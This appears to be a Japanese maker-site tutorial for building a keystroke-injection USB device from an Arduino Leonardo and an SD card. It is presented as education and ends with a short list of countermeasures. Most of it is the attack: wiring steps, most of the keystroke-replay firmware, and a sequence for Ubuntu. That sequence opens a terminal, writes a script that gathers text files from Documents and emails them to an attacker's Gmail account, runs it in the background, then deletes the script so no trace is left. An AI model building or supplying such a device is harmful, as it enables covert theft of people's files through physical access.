USB HID 攻撃の防止:Arduino Leonardo キーボードエクスプロイト実演
必要な部品と材料
| 部品名 | 数量 |
|---|---|
| Arduino Leonardo | 1 |
| microSD カードリーダー | 1 |
| microSD カード(数 GB) | 1 |
| タクトスイッチ(3ピン、抵抗内蔵タイプ:VCC、GND、信号) | 1 |
| ジャンパーワイヤー(オス-メス、メス-メス) | 1式 |
| USB-A - microUSB ケーブル | 1 |
プロジェクト概要
Arduino Leonardo の HID(Human Interface Device)機能を用いて、キーボード入力をエミュレートする USB 攻撃デバイスの概念実証(PoC)を行います。このチュートリアルは攻撃を助長するものではなく、実際の脅威を理解し、防御策を講じるための教育目的で作成されています。
学習内容
- Arduino Leonardo でキーボードをエミュレートする方法
- SD カードからデータを読み取る方法
- ファイルをスキャンしてメール送信する Python スクリプトの作成
- USB ハッキングデバイスから身を守る方法
ステップ 1: 材料の準備
上記部品リストを参照。はんだ付け不要でブレッドボード上に組み立て可能です。
ステップ 2: デバイスの組み立て
動作原理
Leonardo は HID として振る舞えるため、マウスやキーボードをエミュレート可能。この機能を使ってターゲット PC(Ubuntu Linux)で端末を開き、ホームディレクトリ内のテキストファイルを収集・メール送信するスクリプトを実行させます。
組み立て手順
- microUSB ケーブルを Leonardo に接続
- タクトスイッチを接続:GND、VCC、信号線を D8 に
- SD カードリーダーを ICSP ヘッダー経由で接続(Leonardo は ICSP がデジタルピンに繋がっていないため)。SS ピンを D10 に接続
- Arduino コードをアップロード(ボーレート 9600、Leonardo 選択)
- SD カードを FAT16/32 でフォーマット
hack.txtを SD カードにコピー(後述)- コード内のメール設定(送信元/宛先/パスワード)を書き換え
- SD カードをリーダーに挿入
ステップ 3: 詳細な動作解説
攻撃の流れ
ボタン押下時、Leonardo は SD カードから hack.txt を読み取り、行ごとに解釈してキーボード入力をエミュレートします。
hack.txt には生のテキスト、および特殊コマンドが含まれます:
Sleep::200→ 200ms 待機Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t→ Ctrl+Alt+T 同時押し(端末起動)
実行される一連の操作(Ubuntu 向け):
- Ctrl+Alt+T で端末を開く
vi hack.pyで Python スクリプト作成- ホームディレクトリの
Documents内*.txtを収集し、指定 Gmail アドレスへ送信するスクリプトを書き込み nohup python hack.py &でバックグラウンド実行rm -rf hack.pyで痕跡を削除- Alt+F4 で端末を閉じる
全工程が数秒で完了し、痕跡を残しません。
ステップ 4: 対策
- USB ポートの無効化(Windows: グループポリシー、BIOS 設定等)
- USB デバイスのホワイトリスト化(許可されたデバイスのみ接続可能に)
- 離席時は画面ロック
- root/Administrator 権限で常時作業しない(インストールにパスワード必須)
- OS とソフトウェアを常に最新に保つ(自動更新有効化)
コード(主要部分)
#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"
String filenameOnCard = "hack.txt";
String sleepCmd = "Sleep::";
String cmdPrefix = "Command::";
int delayBetween = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int prevButtonState = HIGH;
void setup() {
pinMode(buttonPin, INPUT);
Serial.begin(9600);
Keyboard.begin();
if (!SD.begin(chipSelect)) {
Serial.println("Card failed!");
return;
}
}
void loop() {
int btn = digitalRead(buttonPin);
if (btn != prevButtonState && btn == HIGH) {
sdFileToKeyboard();
Serial.println("Uploaded!");
delay(500);
}
prevButtonState = btn;
}
void sdFileToKeyboard() {
File f = SD.open(filenameOnCard);
if (!f) { Serial.println("File not found"); return; }
while (f.available()) {
String line = f.readStringUntil('\n');
sendToKeyboard(line);
}
f.close();
}
void sendToKeyboard(String line) {
if (line.indexOf(sleepCmd) != -1) { sleepFor(line); return; }
if (line.indexOf(cmdPrefix) == -1) {
Keyboard.println(line); pressEnter(); return;
}
// Command:: 解析処理...
Keyboard.releaseAll();
}
void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); }
void sleepFor(String line) {
int ms = line.substring(sleepCmd.length()).toInt();
delay(ms);
}
char getCommandCode(String cmd) {
// KEY_LEFT_CTRL, KEY_LEFT_SHIFT, KEY_LEFT_ALT, KEY_F1〜F12 等にマッピング
// 実装はオリジナルコードを参照
}
回路図
Fritzing 形式の回路図(sketch.fzz)を提供。Leonardo、SDカードリーダー(ICSP接続)、タクトスイッチ(D8)の接続を示す。
製造プロセス
- Arduino UNOで作るLCDアニメーション&ゲーム入門
- Arduinoとスマホで作るスマート電圧計 – 簡単DIYプロジェクト
- Arduinoで温湿度ロガーを作る – DHT11とEthernetシールドでSDカード記録
- MIDIキーボードをArduino・LED・MuseScoreでスマートピアノチューターに変身
- Python 3からArduino UNOを制御 – シリアル通信でLED点滅デモ
- Arduino Nanoと128x64 OLEDで実行するセルラーオートマトン「ライフゲーム」
- Arduino NanoとRDA5807Mで作るコンパクトFMラジオ
- ArduinoとGoogleスプレッドシート連携 リアルタイムRFID勤怠管理システム
- Arduino 64キー プロトタイピング キーボードマトリックス: シフトレジスタで自作キーボード
- Arduinoで作る電卓 - 16x2 LCDと4x4キーパッドで四則演算
- IoT連携:Windows 10 UWPアプリでArduinoをリモート制御